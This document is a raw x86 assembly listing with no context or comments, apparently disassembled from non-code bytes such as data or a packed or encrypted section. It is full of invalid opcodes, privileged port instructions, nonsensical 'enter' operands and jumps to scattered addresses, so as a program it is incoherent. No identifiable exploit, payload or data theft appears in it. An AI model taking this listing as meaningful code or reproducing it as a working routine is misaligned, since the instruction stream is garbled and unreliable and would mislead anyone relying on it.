push ebp
sub al, 0x78
js 0x40265b
ror eax, 1
add eax, 0x77c85cbd
enter 0xffffffffffffbd05, 0x5c
enter 0xffffffffffffae77, 0x77
lea eax, [eax + 0x578b9b9]
mov ebp, 0x5c8cb70
mov ebp, 0xc87ce274
ja 0x402652
scasb al, byte es:[edi]
ja 0x402620
cmp byte [ecx - 0x42fa8747], 0x70
retf
ja 0x402633
cmp byte [ecx - 0x29288747], 0xd3
inc ecx
cmp esi, dword [eax]
les edx, [eax + edi*4 + 0x78]
pushal
invalid
sub eax, 0x30c97878
or byte [ebx + 0x44607878], cl
sub al, 0x78
js 0x402690
into
stosd dword es:[edi], eax
outsb dx, byte [esi]
iretd
js 0x4026df
aad 0x8c
loop 0x402759
jns 0x4026e4
add edi, dword [ebx]
xlatb
cmp edx, edi
mov dword [0x60f5013e], eax
add ebp, esi
pushal
in al, dx
out dx, al
shr ah, 0xc0
shr ah, 0x8c
shr ch, 0xf6
stosd dword es:[edi], eax
cmp byte [ecx - 0x46431353], dh
js 0x402683
or al, 0x38
mov eax, 0x78794e61
jns 0x40277b
js 0x4026b6
lodsd eax, dword [esi]
fdivr qword [ecx + edi*4 + 0x37fec78]
aas
popal
aas
jns 0x40278a
js 0x4026f4
clc
sahf
mov ecx, 0xd8fd0578
ja 0x402795
sti
cmp al, 0x84
aas
mov ebp, 0x78788660
js 0x402797
mov ah, 0xb1
lodsd eax, dword [esi]
aam 0xbc
mov ecx, 0xe047ed78
clc
js 0x402729
inc edi
loopne 0x402737
sahf
mov ecx, 0xd8fd0578
ja 0x4027bf
ja 0x402729
cmp al, 0x84
add dword [ebp + 0x77896360], edi
in eax, dx
add byte [0x7764d8fd], 0x77
enter 0x7b60, 0x2c
js 0x4027e7
rcl ecx, 1
mov cl, 0xed
sub ch, 0xa0
sal dword [ecx - 0x5f127f13], 1
mov cl, 0xf5
pushal
in eax, dx
wait
mov bl, 0x56
not byte [edi - 0x46610720]
js 0x40278a
std
fsub dword [edi + esi*2 + 0x77]
loopne 0x4027c4
jnp 0x402747
js 0x402758
test byte [ecx], al
aad 0x60
add ebp, ebp
mov edx, fs
jp 0x4027a6
ja 0x40273a
mov eax, 0xbd0178b9
and byte [ebx - 0x80], 0x30
xor al, 0x9f
mov eax, 0x6eab3b78
sti
lds esi, [edi + esi*2 - 0x4f]
in eax, dx
sub ch, 0x80
loop 0x402843
shl byte [ecx - 0x7d], 1
jns 0x402846
js 0x402770
xchg dword [edi], ebp
das
cmp edi, ebx
cmp al, 0x84
sbb eax, eax
jns 0x4027ab
js 0x4027f9
mov ebp, 0xc87be260
ja 0x4027e8
xor byte [edi - 0x73], 0x3c
mov eax, 0x680378b9
std
outsb dx, byte [esi]
in eax, dx
mov bh, byte [ebx + 0x44f457b3]
arpl word [ebx + 3], di
in eax, dx
invalid
ja 0x4027d2